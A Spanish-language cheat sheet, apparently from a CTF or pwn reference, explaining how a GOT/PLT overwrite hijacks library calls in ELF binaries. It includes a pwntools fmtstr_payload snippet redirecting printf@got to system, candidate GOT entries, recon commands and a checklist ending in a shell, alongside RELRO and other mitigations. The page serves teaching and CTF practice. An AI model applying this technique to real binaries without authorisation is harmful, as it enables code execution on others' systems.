Saltearse al contenido

GOT/PLT overwrite

Cuando un binario usa funciones de una librería compartida (como printf o system de libc), no conoce sus direcciones en tiempo de compilación: se resuelven en ejecución mediante dos tablas, la GOT (Global Offset Table) y la PLT (Procedure Linkage Table). La GOT guarda las direcciones reales de esas funciones, y por defecto es escribible. Si un atacante consigue una escritura arbitraria (vía format string, heap, overflow), puede sobrescribir una entrada de la GOT para que, cuando el programa llame a una función, salte a donde el atacante quiera —típicamente system.

# el programa no llama directamente a printf de libc; llama a printf@plt
call printf@plt
# printf@plt salta a la dirección guardada en printf@got
# la primera vez, el linker resuelve printf y escribe su dirección real en printf@got (lazy binding)
# las siguientes, printf@got ya tiene la dirección -> salto directo

La GOT es, en la práctica, una tabla de punteros a funciones que el programa consulta en cada llamada. Sobrescribir un puntero = secuestrar esa función.

# si tienes una primitiva de escritura arbitraria (write-what-where):
# escribir en system@libc la entrada de printf@got
printf@got = &system
# a partir de ahora, cada printf(x) ejecuta en realidad system(x)
# si controlas el argumento (p. ej. printf(user) con user="/bin/sh") -> shell
from pwn import *
e = ELF('./vuln')
got_printf = e.got['printf'] # dirección de la entrada GOT de printf
# con un format string (ver pwn-format):
payload = fmtstr_payload(offset, {got_printf: addr_system})
# o con una escritura de heap/overflow
# funciones que el programa llama DESPUÉS y cuyo argumento controlas:
printf@got -> system (si luego hay printf con datos controlados)
free@got -> system (si luego hay free(chunk) con "/bin/sh" dentro) -> __free_hook moderno
puts@got, atoi@got, strlen@got ... según el flujo del programa
# también: sobrescribir una entrada para saltar a win()/one_gadget

El truco es elegir una entrada GOT de una función que (a) se llame después de tu escritura y (b) reciba un argumento que controlas, para que system(TU_ARG) te dé la shell.

objdump -R ./vuln # relocaciones (entradas GOT)
readelf -r ./vuln
# en pwntools: e.got['printf'], e.plt['system'], e.symbols[...]
# dirección de system: de libc (con leak si ASLR, ver pwn-rop)

La GOT es escribible por defecto, pero RELRO lo cambia:

No RELRO GOT totalmente escribible -> ataque fácil
Partial RELRO (por defecto hoy) parte de la GOT es de solo lectura, pero la GOT de funciones
resueltas lazy (.got.plt) sigue escribible -> aún atacable
Full RELRO toda la GOT de solo lectura (resolución eager al inicio) -> GOT overwrite IMPOSIBLE
# comprobar:
checksec --file=./vuln # muestra el nivel de RELRO

Con Full RELRO, este ataque no funciona y hay que buscar otra primitiva (hooks de libc, retaddr, FSOP).

  • Full RELRO (-Wl,-z,relro,-z,now): hace la GOT de solo lectura → cierra el ataque por completo.
  • Evitar las primitivas de escritura arbitraria de origen (corregir format strings, overflows, UAF).
  • ASLR/PIE (obligan a filtrar direcciones antes de escribir), FORTIFY_SOURCE.
  • En general: las defensas contra las vulnerabilidades que dan el write-what-where (Format string/heap/stack).
  • ¿Tienes una primitiva de escritura arbitraria? (format/heap/overflow)
  • checksec: nivel de RELRO (¿GOT escribible?)
  • Localizar entradas GOT (objdump -R / e.got)
  • Elegir una función llamada después con argumento controlado
  • Sobrescribir su entrada GOT con system/one_gadget
  • Disparar la llamada → shell
  • Si Full RELRO: buscar otra primitiva (hooks/retaddr/FSOP)
  • Shell/flag en local → remoto